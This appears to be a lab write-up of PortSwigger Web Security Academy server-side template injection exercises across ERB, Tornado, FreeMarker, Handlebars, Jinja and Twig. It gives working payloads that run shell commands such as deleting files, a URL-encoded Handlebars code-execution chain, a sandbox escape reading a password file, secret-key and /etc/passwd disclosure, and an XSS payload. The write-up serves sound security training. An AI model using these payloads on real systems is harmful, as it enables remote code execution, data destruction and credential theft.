While this may not be the most exciting way to spend your time, it is important not to underestimate what a useful source of information the documentation can be.
Learn the Basic Template Syntax
Learning the basic syntax is obviously important, along with key functions and handling of variables. Even something as simple as learning how to embed native code blocks in the template can sometimes quickly lead to an exploit.
Lab: Basic Server-side Template Injection
Abstract
This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.
To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.
There is a server side redirect when viewing details of some products:
HTTP/2 302 FoundLocation: /?message=Unfortunately this product is out of stockX-Frame-Options: SAMEORIGINContent-Length: 0
The message param will be rendered like this:
<div>Unfortunately this product is out of stock</div>
Try {{7*7}} and the application reflects the same.
Try <%= 7*7 %> and the application renders 49, which confirms the SSTI vulnerability.
This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.
You can log in to your own account using the following credentials: wiener:peter
Hint
Take a closer look at the “preferred name” functionality.
Login and found the request used for updating the prefered name that users want to display in the comment:
POST /my-account/change-blog-post-author-display HTTP/2Host: 0ae500d303253c718296bfce00ac00e3.web-security-academy.netCookie: session=2igIytDp7cRshBoewU7L3D0Sx0exgZe5Content-Length: 78Content-Type: application/x-www-form-urlencodedblog-post-author-display=user.first_name&csrf=FzufnSMtJQXoqBRIZMaHtFMUvBS93pFS
Add {{7*7 after user.first_name and comment to any blog post. After that, request to the blog post that we have commented and the server responds like this:
HTTP/2 500 Internal Server ErrorContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 2849No handlers could be found for logger "tornado.application"Traceback (most recent call last): File "<string>", line 15, in <module> File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 317, in __init__ "exec", dont_inherit=True) File "<string>.generated.py", line 4 _tt_tmp = user.first_name{{7*7 # <string>:1 ^SyntaxError: invalid syntax
This response indicates that user.nickname could be used as input for Tornado template engine.
Update payload to {{7*7}}:
POST /my-account/change-blog-post-author-display HTTP/2Host: 0ae500d303253c718296bfce00ac00e3.web-security-academy.netCookie: session=2igIytDp7cRshBoewU7L3D0Sx0exgZe5Content-Length: 78Content-Type: application/x-www-form-urlencodedblog-post-author-display={{7*7}}&csrf=FzufnSMtJQXoqBRIZMaHtFMUvBS93pFS
Reload the blog post page and the expression is evaluated like this:
<p><img src="/resources/images/avatarDefault.svg" class="avatar"> {{49}} | 26 September 2024</p>
This confirms the SSTI vulnerability.
Try to execute id command with this payload:
{% import os %}{{os.popen('id').read()}}
The application returns a 500 error:
HTTP/2 500 Internal Server ErrorContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 2861No handlers could be found for logger "tornado.application"Traceback (most recent call last): File "<string>", line 15, in <module> File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 317, in __init__ "exec", dont_inherit=True) File "<string>.generated.py", line 5 _tt_tmp = % import os %}{{os.popen('id').read() # <string>:1 ^SyntaxError: invalid syntax
It seems like we need to escape the context.
Use this payload instead:
7*7}}{% import os %}{{os.popen('id').read()
We need to add 7*7}} at the beginning of the payload or the application will throw this error:
HTTP/2 500 Internal Server ErrorContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 3001Traceback (most recent call last): File "<string>", line 15, in <module> File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 306, in __init__ self.file = _File(self, _parse(reader, self)) File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 862, in _parse reader.raise_parse_error("Empty expression") File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 788, in raise_parse_error raise ParseError(msg, self.name, self.line)tornado.template.ParseError: Empty expression at <string>:1
7*7}}{% import os %}{{os.popen('rm /home/carlos/morale.txt').read()
Read About the Security Implications
In addition to providing the fundamentals of how to create and use templates, the documentation may also provide some sort of “Security” section. The name of this section will vary, but it will usually outline all the potentially dangerous things that people should avoid doing with the template.
Even if there is no dedicated “Security” section, if a particular built-in object or function can pose a security risk, there is almost always a warning of some kind in the documentation.
For example, in ERB, the documentation reveals that you can list all directories and then read arbitrary files as follows:
Lab: Server-side Template Injection Using Documentation
Abstract
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.
Info
You can log in to your own account using the following credentials:
content-manager:C0nt3ntM4n4g3r
Log in using the provided credentials. Navigate to the first product, where it is possible to edit, preview, and save the template. The template includes the following line:
<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>
Change product.stock, which probably a number, to abc and send a request to preview the template. Got this error message:
Hurry! Only FreeMarker template error (DEBUG mode; use RETHROW in production!):The following has evaluated to null or missing:==> abc [in template "freemarker" at line 5, column 18]----Tip: If the failing expression is known to legally refer to something that's sometimes null or missing, either specify a default value like myOptionalVar!myDefault, or use <#if myOptionalVar??>when-present<#else>when-missing</#if>. (These only cover the last step of the expression; to cover the whole expression, use parenthesis: (myOptionalVar.foo)!myDefault, (myOptionalVar.foo)??--------FTL stack trace ("~" means nesting-related): - Failed at: ${abc} [in template "freemarker" at line 5, column 16]----Java stack trace (for programmers):----freemarker.core.InvalidReferenceException: [... Exception message was already printed; see it above ...] at freemarker.core.InvalidReferenceException.getInstance(InvalidReferenceException.java:134) at freemarker.core.EvalUtil.coerceModelToTextualCommon(EvalUtil.java:479) at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:401) at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:370) at freemarker.core.DollarVariable.calculateInterpolatedStringOrMarkup(DollarVariable.java:100) at freemarker.core.DollarVariable.accept(DollarVariable.java:63) at freemarker.core.Environment.visit(Environment.java:331) at freemarker.core.Environment.visit(Environment.java:337) at freemarker.core.Environment.process(Environment.java:310) at freemarker.template.Template.process(Template.java:383) at lab.actions.templateengines.FreeMarker.processInput(FreeMarker.java:58) at lab.actions.templateengines.FreeMarker.act(FreeMarker.java:42) at lab.actions.common.Action.act(Action.java:57) at lab.actions.common.Action.run(Action.java:39) at lab.actions.templateengines.FreeMarker.main(FreeMarker.java:23)
The message reveals that the template engine being used is Freemarker.
Try with the ${7*191} payload:
<p>Hurry! Only ${7*191} left of ${product.name} at ${product.price}.</p>
Response shows that the payload is evaluted by the server:
<p>Hurry! Only 1,337 left of Beat the Vacation Traffic at $69.90.</p>
Once you are able to identify the template engine being used, you should browse the web for any vulnerabilities that others may have already discovered.
Lab: Server-side Template Injection in an Unknown Language with a Documented Exploit
Abstract
This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.
Found that this request has a reflected input:
GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock1337 HTTP/2Host: 0a12005403fb2a6080506c86002a0007.web-security-academy.netCookie: session=Jf81kKJcwOR358Nr845mehUw4BmpIrK2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: https://0a12005403fb2a6080506c86002a0007.web-security-academy.net/
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 10764...<div>Unfortunately this product is out of stock1337</div>...
Use the following input:
GET /?message={{7*7}} HTTP/2
Response has an error:
<p class=is-warning>/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267 throw new Error(str); ^Error: Parse error on line 1:{{7*7}}--^Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID' at Parser.parseError (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19) at Parser.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:336:30) at HandlebarsEnvironment.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43) at compileInput (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19) at ret (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18) at [eval]:5:13 at Script.runInThisContext (node:vm:128:12) at Object.runInThisContext (node:vm:306:38) at node:internal/process/execution:83:21 at [eval]-wrapper:6:24Node.js v19.8.1</p>
URL encode it and send the request for solving the lab:
GET /?message=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%69%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%7b%7b%74%68%69%73%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%65%61%63%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d HTTP/2
Many template engines expose a “self” or “environment” object of some kind, which acts like a namespace containing all objects, methods, and attributes that are supported by the template engine.
For example, in Java-based templating languages, you can sometimes list all variables in the environment using the following injection:
${T(java.lang.System).getenv()}
Info
Additionally, for Burp Suite Professional users, the Intruder provides a built-in wordlist for brute-forcing variable names.
Developer-supplied Objects
Websites include built-in objects from the template and custom objects added by the developer. Pay close attention to these custom objects, as they may contain sensitive information or exploitable methods.
Note
You can still leverage server-side template injection vulnerabilities for other high-severity exploits, such as file path traversal, to gain access to sensitive data.
Lab: Server-side Template Injection with Information Disclosure via User-supplied Objects
Abstract
This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.
To solve the lab, steal and submit the framework’s secret key.
Info
You can log in to your own account using the following credentials:
content-manager:C0nt3ntM4n4g3r
This lab has a “Preview Template” feature that allows logged-in user can preview a template of a blog.
The original template has the following line:
<p>Hurry! Only {{product.stock}} left of {{product.name}} at {{product.price}}.</p>
Change product.stock into 191*7 and hit the “Preview” button. The response has an error message:
<p class=is-warning>Traceback (most recent call last): File "<string>", line 11, in <module> File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 191, in __init__ self.nodelist = self.compile_nodelist() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 230, in compile_nodelist return parser.parse() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 486, in parse raise self.error(token, e)django.template.exceptions.TemplateSyntaxError: Could not parse the remainder: '*191' from '7*191'</p>
From the error message, we know that the programming language is Python and the framework is Django. Change the template line into this:
<p>Hurry! Only {% debug %} left of {{product.name}} at {{product.price}}.</p>
The response reveals that the template engine being used is Jinja:
'django.template.backends.jinja2': <module 'django.template.backends.jinja2' from '/usr/local/lib/python2.7/dist-packages/django/template/backends/jinja2.pyc'>
<p>Hurry! Only {{settings.SECRET_KEY}} left of {{product.name}} at {{product.price}}.</p>
Response has the secret key:
<p>Hurry! Only xvwz28n1it8zvsgoz6h2guvn5itx5o0h left of Six Pack Beer Belt at $67.15.</p>
Create a Custom Attack
Sometimes you will need to construct a custom exploit. For example, you might find that the template engine executes templates inside a sandbox, which can make exploitation difficult, or even impossible.
After identifying the attack surface, if there is no obvious way to exploit the vulnerability, you should proceed with traditional auditing techniques by reviewing each function for exploitable behavior.
Constructing a Custom Exploit Using an Object Chain
The first step is to identify accessible objects and methods.
By exploring the documentation, you can find ways to chain objects and methods together. This can sometimes unlock access to sensitive data or dangerous functionality that seems out of reach.
For example, in the Java-based template engine Velocity, you have access to a ClassTool object called $class, you can chain the $class.inspect() method and $class.type property to obtain references to arbitrary objects:
Lab: Server-side Template Injection in a Sandboxed Environment
Abstract
This lab uses the Freemarker template engine. It is vulnerable to server-side template injection due to its poorly implemented sandbox. To solve the lab, break out of the sandbox to read the file my_password.txt from Carlos’s home directory. Then submit the contents of the file.
Info
You can log in to your own account using the following credentials:
content-manager:C0nt3ntM4n4g3r
Try this payload:
<p>Hurry! Only ${7*7} left of ${product.name} at ${product.price}.</p>
Response shows that the expression is evaluated:
<p>Hurry! Only 49 left of Single Use Food Hider at $98.51.</p>
Try to read my_password.txt with "freemarker.template.utility.Execute"?new()("cat /home/carlos/morale.txt") payload:
<p>Hurry! Only FreeMarker template error (DEBUG mode; use RETHROW in production!): Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
Output of toURI().resolve("/home/carlos/my_password.txt").toURL():
file:/home/carlos/my_password.txt
As we can see, by converting URL to URI and using the resolve method of URI, we can change the URL from /opt/jars/freemarker.jar to /home/carlos/my_password.txt.
Now, we can invoke openStream() method of the URL class to open an InputStream instance for reading the file’s content. From Java 11, the InputStream class includes the readAllBytes() method, which reads and returns the file’s content as a byte array.
Run the above payload and get the following byte array:
Write a script to convert into ASCII (excluding non-visible characters):
# Given hex array as a list of stringshex_array = [ "51", "105", "99", "49", "97", "56", "108", "121", "49", "54", "51", "118", "121", "97", "114", "119", "114", "52", "112", "108"]# Convert each value to its character representation and filter non-visible charactersfiltered_chars = [chr(int(x)) for x in hex_array if 32 <= int(x) <= 126]# Join the visible characters into a stringvisible_string = ''.join(filtered_chars)print(visible_string)
Result:
3ic1a8ly163vyarwr4pl
Constructing a Custom Exploit Using Developer-supplied Objects
Some template engines run in a secure, restricted environment by default to reduce risks. While this limits the potential for remote code execution, developer-created objects exposed to the template may provide a weaker attack surface.
While template built-ins are usually well-documented, site-specific objects often lack documentation. To exploit them, you’ll need to analyze the website’s behavior, identify the attack surface, and create a custom exploit.
Lab: Server-side Template Injection with a Custom Exploit
Abstract
This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos’s home directory.
You can log in to your own account using the following credentials: wiener:peter
Warning
As with many high-severity vulnerabilities, experimenting with server-side template injection can be dangerous. If you’re not careful when invoking methods, it is possible to damage your instance of the lab, which could make it unsolvable. If this happens, you will need to wait 20 minutes until your lab session resets.
The logged-in user can change email, prefered display name and avatar. Input malicious data into all of those features.
Login and try to comment any post with the ${7*7} payload. Then, request to the post and the following error is displayed:
<p class=is-warning>PHP Fatal error: Uncaught Twig_Error_Syntax: A hash key must be a quoted string, a number, a name, or an expression enclosed in parentheses (unexpected token "punctuation" of value "{" in "index" at line 1. in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php:292Stack trace:#0 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(197): Twig_ExpressionParser->parseHashExpression()#1 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(92): Twig_ExpressionParser->parsePrimaryExpression()#2 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(45): Twig_ExpressionParser->getPrimary()#3 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Parser.php(125): Twig_ExpressionParser->parseExpression()#4 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Parser.php(81): Twig_Parser->subparse(NULL, false)#5 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(533): Twig_Parser->parse(Object(Twig_TokenS in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php on line 292</p>
So, the programming language is PHP and the template engine is Twig.
Additionally, it turns out that the injection point is not the comment parameter. Instead, it is the blog-post-author-display parameter:
POST /my-account/change-blog-post-author-display HTTP/2Host: 0ade001604189b5481a1e970001400e1.web-security-academy.netCookie: session=rkfghR9l3URgHjrclLRUL9PJEtBtdJWvContent-Length: 71Origin: https://0ade001604189b5481a1e970001400e1.web-security-academy.netContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36blog-post-author-display=7*7&csrf=8yTnq8BfBtJ7qtGVHsFvmGx4sJVilKJt
Where the original value of blog-post-author-display is user.firstname.
It will be rendered in the comment section of any blog post:
However, aside from _self and _context, I can hardly execute anything. It turns out that if we upload some invalid image as an avatar, the application will throw the following error message:
<pre>PHP Fatal error: Uncaught Exception: Uploaded file mime type is not an image: application/octet-stream in /home/carlos/User.php:28Stack trace:#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/nmap.log', 'application/oct...')#1 {main} thrown in /home/carlos/User.php on line 28</pre>
The above error message reveals that there is a method named setAvatar that has two parameters.
Info
Additionally, if we upload with invalid file name, we can perform XSS:
<pre>PHP Fatal error: Uncaught Exception: Uploaded file name is invalid: bb45v<img src=a onerror=alert(1)>qsr5lifkbg9 in /home/carlos/avatar_upload.php:10Stack trace:#0 {main} thrown in /home/carlos/avatar_upload.php on line 10</pre>
Intercept the upload request and change the MIME type into image/png, we can upload successfully.
After that, we can get it content via the following request:
GET /avatar?avatar=wiener HTTP/2Host: 0abb006504b00f6c82c9e792002e00db.web-security-academy.netCookie: session=sc9HX7OXYWSwSltSaMeNAqf9WIUo3SBwUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
HTTP/2 200 OKContent-Type: image/unknownX-Frame-Options: SAMEORIGINContent-Length: 3315# Nmap 7.95 scan initiated Sun Oct 20 20:35:23 2024 as: nmap -T3 -Pn -A -oN nmap.log 10.10.193.239Nmap scan report for 10.10.193.239Host is up (0.33s latency).Not shown: 998 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION9999/tcp open abyss?| fingerprint-strings: | NULL: | _| _| | _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| | _|_| _| _| _| _| _| _| _| _| _| _| _|| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|| [________________________ WELCOME TO BRAINPAN _________________________]|_ ENTER THE PASSWORD10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)|_http-title: Site doesn't have a title (text/html)....
Try to read /etc/passwd via the setAvatar() function by injecting the following payload:
POST /my-account/change-blog-post-author-display HTTP/2Host: 0ade001604189b5481a1e970001400e1.web-security-academy.netCookie: session=rkfghR9l3URgHjrclLRUL9PJEtBtdJWvContent-Length: 71Origin: https://0ade001604189b5481a1e970001400e1.web-security-academy.netContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36blog-post-author-display=user.setAvatar('/etc/passwd','image/png')&csrf=c19nnnMCrSvbndw85UXTiZKVLO928oiW
Comment any post and the content of /etc/passwd is leaked:
HTTP/2 200 OKContent-Type: image/unknownX-Frame-Options: SAMEORIGINContent-Length: 2316root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinpeter:x:12001:12001::/home/peter:/bin/bashcarlos:x:12002:12002::/home/carlos:/bin/bashuser:x:12000:12000::/home/user:/bin/bashelmer:x:12099:12099::/home/elmer:/bin/bashacademy:x:10000:10000::/academy:/bin/bashmessagebus:x:101:101::/nonexistent:/usr/sbin/nologindnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologinsystemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinmysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/falsepostgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bashusbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinrtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologinmongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologinavahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologincups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologingeoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologinsaned:x:114:122::/var/lib/saned:/usr/sbin/nologincolord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologinpulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologingdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false
Hint
Read the source code of /home/carlos/User.php.
Source code of /home/carlos/User.php:
<?phpclass User { public $username; public $name; public $first_name; public $nickname; public $user_dir; public function __construct($username, $name, $first_name, $nickname) { $this->username = $username; $this->name = $name; $this->first_name = $first_name; $this->nickname = $nickname; $this->user_dir = "users/" . $this->username; $this->avatarLink = $this->user_dir . "/avatar"; if (!file_exists($this->user_dir)) { if (!mkdir($this->user_dir, 0755, true)) { throw new Exception("Could not mkdir users/" . $this->username); } } } public function setAvatar($filename, $mimetype) { if (strpos($mimetype, "image/") !== 0) { throw new Exception("Uploaded file mime type is not an image: " . $mimetype); } if (is_link($this->avatarLink)) { $this->rm($this->avatarLink); } if (!symlink($filename, $this->avatarLink)) { throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink); } } public function delete() { $file = $this->user_dir . "/disabled"; if (file_put_contents($file, "") === false) { throw new Exception("Could not write to " . $file); } } public function gdprDelete() { $this->rm(readlink($this->avatarLink)); $this->rm($this->avatarLink); $this->delete(); } private function rm($filename) { if (!unlink($filename)) { throw new Exception("Could not delete " . $filename); } }}?>
Apart from setAvatar(), we have identified three other functions along with some properties:
delete(): overwrites the content of the disabled file with an empty string, effectively clearing it.
gdprDelete(): deletes the file that links to the avatar file as well as the avatar file by invoking rm() and then invoke delete().
rm(): used for removing file and it is a private function.
Clearly, we will use the gdprDelete().
To exploit, we will do the following steps:
Use user.setAvatar('/home/carlos/.ssh/id_rsa', 'image/png') as the SSTI payload to link ~/.ssh/id_rsa to the avatar file (via symlink() function).
Use user.gdprDelete() to delete the file that links to the avatar file (the ~/.ssh/id_rsa file) as well as the avatar file.